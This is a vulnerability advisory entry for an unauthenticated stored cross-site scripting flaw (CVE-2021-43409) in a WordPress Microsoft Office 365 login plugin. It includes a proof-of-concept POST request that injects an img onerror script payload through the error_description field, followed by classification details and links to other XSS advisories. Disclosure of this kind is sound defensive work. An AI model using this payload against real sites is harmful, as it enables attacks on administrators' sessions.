WordPress + Microsoft Office 365 < 15.4 – Unauthenticated Stored Cross-Site Scripting | CVE 2021-43409 | Plugin Vulnerabilities

Description

The plugin does not sanitise error descriptions before outputting them in the log notice, which could allow unauthenticated users to perform Cross-Site Scripting attacks against a logged in administrator

Proof of Concept

POST / HTTP/1.1
Content-Length: 242
Content-Type: application/x-www-form-urlencoded

error=2&error_description=<img+src=a+onerror=alert(%26quot;XSS_Proof_of_Concept!%26quot;)>&error_uri=https%3A%2F%2Flogin.microsoftonline.com%2Ferror%3Fcode%3D700054&state=https%3A%2F%2F192.168.88.176%2Fwp-login.php%3Flogin_errors%3DCHECK_LOG2

Affects Plugins

Fixed in 15.4

References

CVE

URL

https://appcheck-ng.com/wordpress-microsoft-office-365-azure-ad-login-persistent-cross-site-scripting/

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Gary O’Leary-Steele

Verified

No

WPVDB ID

52a4798c-e915-473c-a352-d671617a87f7

Timeline

Publicly Published

2021-10-15 (about 4 years ago)

Added

2021-10-15 (about 4 years ago)

Last Updated

2022-04-15 (about 4 years ago)

Other

Published

Title

Published

2025-05-14

Title

Bon Toolkit <= 1.3.2 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-03-16

Title

WooThumbs for WooCommerce by Iconic < 5.5.4 - Reflected Cross-Site Scripting

Published

2020-04-05

Title

Car Rental System <= 1.3 - Unauthenticated Stored Cross-Site Scripting (XSS)

Published

2025-08-07

Title

User Language Switch <= 1.6.10 - Reflected Cross-Site Scripting

Published

2024-12-19

Title

Ledenbeheer < 2.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting